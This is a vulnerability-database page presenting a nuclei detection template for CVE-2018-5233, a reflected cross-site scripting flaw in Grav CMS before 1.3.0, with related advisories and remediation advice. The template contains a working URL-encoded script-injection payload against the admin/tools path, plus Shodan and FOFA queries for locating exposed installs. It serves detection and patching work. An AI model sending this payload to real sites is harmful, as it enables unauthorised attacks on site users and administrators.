Lucene search
K

Grav CMS <1.3.0 - Cross-Site Scripting

🗓️ 14 Jun 2026 03:03:05Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 17 Views

Grav CMS <1.3.0 - Cross-Site Scripting vulnerability allows remote code injection via PATH_INFO to admin/tools

Related
Refs
Code
ReporterTitlePublishedViews
Family
0day.today
Grav CMS 1.2.4 Cross Site Scripting Vulnerability
20 Mar 201800:00
zdt
Circl
CVE-2018-5233
25 Apr 202421:08
circl
CNVD
Grav CMS system/src/Grav/Common/Twig/Twig.php file cross-site scripting vulnerability
20 Mar 201800:00
cnvd
CVE
CVE-2018-5233
19 Mar 201821:00
cve
Cvelist
CVE-2018-5233
19 Mar 201821:00
cvelist
Github Security Blog
Grav CMS Cross-site scripting (XSS) vulnerability
14 May 202203:31
github
NVD
CVE-2018-5233
19 Mar 201821:29
nvd
OSV
CVE-2018-5233
19 Mar 201821:29
osv
OSV
GHSA-977G-93F5-RQJX Grav CMS Cross-site scripting (XSS) vulnerability
14 May 202203:31
osv
Packet Storm
Grav CMS 1.2.4 Cross Site Scripting
16 Mar 201800:00
packetstorm
Rows per page
id: CVE-2018-5233

info:
  name: Grav CMS <1.3.0 - Cross-Site Scripting
  author: pikpikcu
  severity: medium
  description: |
    Grav CMS before 1.3.0 is vulnerable to cross-site scripting via system/src/Grav/Common/Twig/Twig.php and allows remote attackers to inject arbitrary web script or HTML via the PATH_INFO to admin/tools.
  impact: |
    Attackers can execute arbitrary JavaScript in victims' browsers, potentially stealing session cookies, administrative credentials, or performing actions on behalf of authenticated users.
  remediation: |
    Upgrade Grav CMS to version 1.3.0 or later, which includes proper input sanitization to mitigate the XSS vulnerability.
  reference:
    - https://sysdream.com/news/lab/2018-03-15-cve-2018-5233-grav-cms-admin-plugin-reflected-cross-site-scripting-xss-vulnerability/
    - http://www.openwall.com/lists/oss-security/2018/03/15/1
    - https://nvd.nist.gov/vuln/detail/CVE-2018-5233
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2018-5233
    cwe-id: CWE-79
    epss-score: 0.18828
    epss-percentile: 0.95466
    cpe: cpe:2.3:a:getgrav:grav_cms:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: getgrav
    product: grav_cms
    shodan-query:
      - html:"Grav CMS"
      - http.html:"grav cms"
    fofa-query: body="grav cms"
  tags: cve,cve2018,xss,grav,getgrav,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/admin/tools/a--%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '</script><script>alert(document.domain)</script>'

      - type: word
        part: body
        words:
          - '/themes/grav'
          - 'Grav Admin Login'
          - 'data-grav-'
        condition: or

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100be4ce79bd2f3b004b43ee9e261e1b5b83b087564d01be490bec6f63611f17022022053d71baf4245c525622b8f5ea62db129b08c4c2cc8f41c5ffb2767eb2dbd8c91:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Feb 2026 07:00Current
6Medium risk
Vulners AI Score6
CVSS 24.3
CVSS 36.1
EPSS0.18828
17